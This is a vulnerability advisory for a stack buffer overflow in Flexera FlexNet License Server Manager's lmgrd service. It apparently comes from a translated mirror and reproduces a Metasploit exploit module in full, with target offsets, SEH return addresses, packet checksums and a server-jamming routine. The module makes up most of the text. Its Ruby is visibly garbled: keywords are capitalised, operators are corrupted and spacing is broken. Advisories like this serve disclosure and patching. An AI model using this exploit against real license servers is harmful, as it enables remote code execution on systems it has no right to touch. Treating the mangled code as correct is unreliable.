FlexNet License Server Manager 'lmgrd' component Stack Buffer Overflow Vulnerability

Release date: 2012-03-26
Updated on:

Affected Systems:
Flexera FlexNet License Server Manager 11.9.1
Unaffected system:
Flexera FlexNet License Server Manager 11.10
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52718

Flexera is a strategic solution provider for application usage management. FlexNet Publisher provides techniques for customizing pricing, software packages, and software license terms, and prevents unauthorized use. Lmgrd is the License Server Manager listening on port 27000 and runs as a system service for multiple products.

FlexNet Publisher lmgrd License Server Manager has a vulnerability in implementation. sending specially crafted packets to the Server can cause stack overflow and arbitrary code execution.

<* Source: Luigi Auriemma (aluigi@pivx.com)

Link: http://aluigi.altervista.org/adv/lmgrd_1-adv.txt
Http://www.zerodayinitiative.com/advisories/ZDI-12-052/
Http://www.flexerasoftware.com/pl/13057.htm
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Luigi Auriemma (aluigi@pivx.com) provides the following testing methods:

##
# This file is part of the Metasploit Framework and may be subject
# Redistribution and specified cial restrictions. Please see the Metasploit
# Web site for more information on licensing and terms of use.
# Http://metasploit.com/
##

Require 'msf/core'

Class Metasploit3 <Msf: Exploit: Remote
Rank = NormalRanking

Include Msf: Exploit: Remote: Tcp
Include Msf: Exploit: Remote: Seh

Def initialize (info = {})
Super (update_info (info,
'Name' => 'flexnet License Server Manager lmgrd Buffer overflow ',
'Description' => % q {
This module exploits a vulnerability in the FlexNet
License Server Manager.

The vulnerability is due to the insecure usage of memcpy
In the lmgrd service when handling network packets, which
Results in a stack buffer overflow.

In order to improve reliability, this module will make lots
Connections to lmgrd during each attempt to maximize its success.
},
'Author' =>
[
'Luigi auriemm', # Vulnerability Discovery and PoC
'Alexander gavrun', # Vulnerability Discovery
'Juan vazquez', # Metasploit module
'Sinr3' # Metasploit module
],
'License '=> MSF_LICENSE,
'References '=>
[
['Ossvdb', '123'],
['Bid', '123'],
['Url', 'HTTP: // www.zerodayinitiative.com/advisories/ZDI-12-052/'],
['Url', 'HTTP: // aluigi.altervista.org/adv/lmgrd_1-adv.txt']
],
'Privileged' => true,
'Defaultopexception' =>
{
'Deletec' => 'process'
},
'Payload' =>
{
'Space' => 4000
},
'Platform' => 'win ',
'Targets' =>
[
['Debug', {}],
['Autodesk Licensing Server Tools 11.5/lmgrd 11.5.0.0/Windows XP SP3 ',
{
'Offset' => 10476,
'Shellcodeoffset '=> 5504,
'Ret '=> 0x0047d01f # ppr from lmgrd.exe
}
],
['Alias License Tools 10.8.0.7/lmgrd 10.8.0.7/Windows XP SP3 ',
{
'Offset' => 7324,
'Shellcodeoffset '=> 2332,
'Ret '=> 0x004eda91 # ppr from lmgrd.exe
}
],
['Alias License Tools 10.8/lmgrd 10.8.0.2/Windows XP SP3 ',
{
'Offset' => 7320,
'Shellcodeoffset '=> 2328,
'Ret '=> 0x004eb2e1 # ppr from lmgrd.exe
}
],
],
'Defaulttarget' => 1,
'Disclosuredate' => 'mar 23 2012 '))

Register_options (
[
Opt: RPORT (27000 ),
OptInt. new ('attempts', [true, 'number of Attempts for the exploit phase', 20]),
OptInt. new ('wait', [true, 'delay between brute force attempts ', 2]),
OptInt. new ('jam', [true, 'number of requests to Jam the Server', 100])
], Self. class)
End

Def header_checksum (packet)
Packet_bytes = packet. unpack ("C *")
Checksum = packet_bytes [0]
I = 2
While I <0x14
Checksum = checksum + packet_bytes [I]
I = I + 1
End
Return (checksum & 0x0FF)
End

Def data_checksum (packet_data)
Word_table = ""
I = 0
While I <1, 256
V4 = 0
V3 = I
J = 8

While j> 0
If (v4 ^ v3) & 1) = 1
V4 = (v4> 1) ^ 0x3A5D) & 0x0FFFF
Else
V4 = (v4> 1) & 0x0FFFF
End
V3> = 1
J = j-1
End

Word_table <[v4]. pack ("S ")
I = I + 1
End
K = 0
Checksum = 0
Data_bytes = packet_data.unpack ("C *")
Word_table_words = word_table.unpack ("S *")
While k <packet_data.length
Position = data_bytes [k] ^ (checksum & 0x0FF)
Checksum = (word_table_words [position] ^ (checksum> 8) & 0x0FFFF
K = k + 1
End
Return checksum
End

Def create_packet (data)
Pkt = "\ x2f"
Pkt <"\ x00" # header checksum
Pkt <"\ x00 \ x00" # data checksum
Pkt <"\ x00 \ x00" # pkt length
Pkt <"\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00"
Pkt <data

Pkt [4, 2] = [pkt. length]. pack ("n ")

Data_sum = data_checksum (pkt [4, pkt. length-4])
Pkt [2, 2] = [data_sum]. pack ("n ")

Hdr_sum = header_checksum (pkt [0, 20])
Pkt [1] = [hdr_sum]. pack ("C ")

Return pkt
End

Def jam
Pkt = create_packet ("")

Datastore ['jam']. times do
Connect
Sock. put (pkt)
Disconnect
End
End

Def exploit
I = 1
While I <= datastore ['attempts'] and not session_created?
Print_status ("Attempt # {I}/# {datastore ['attempts']} to exploit ...")
Do_exploit
Sleep (datastore ['wait'])
I = I + 1
End

If not session_created?
Print_error ("Exploit didn't work after # {I} attempts ")
End
End

Def do_exploit
T = framework. threads. spawn ("jam", false) {jam}
My_payload = payload. encoded

Header_length = 20 # See create_packet () to understand this number
Pkt_data = ""
If target. name = ~ /Debug/
Pkt_data <"a" * (65535-header_length)
Else
Pkt_data <"a" * (target ['shellcodeoffset '])
Pkt_data <my_payload
Pkt_data <"B" * (target ['offset']-target ['shellcodeoffset']-my_payload.length)
Pkt_data <generate_seh_record (target. ret)
Pkt_data <Metasm: Shellcode. assemble (Metasm: Ia32.new, "jmp $-5000"). encode_string
Pkt_data <"c" * (65535-pkt_data.length-header_length)
End

Pkt = create_packet (pkt_data)

Connect
Sock. put (pkt)
Handler
Disconnect
End

End

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Flexera
-------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Www.flexerasoftware.com/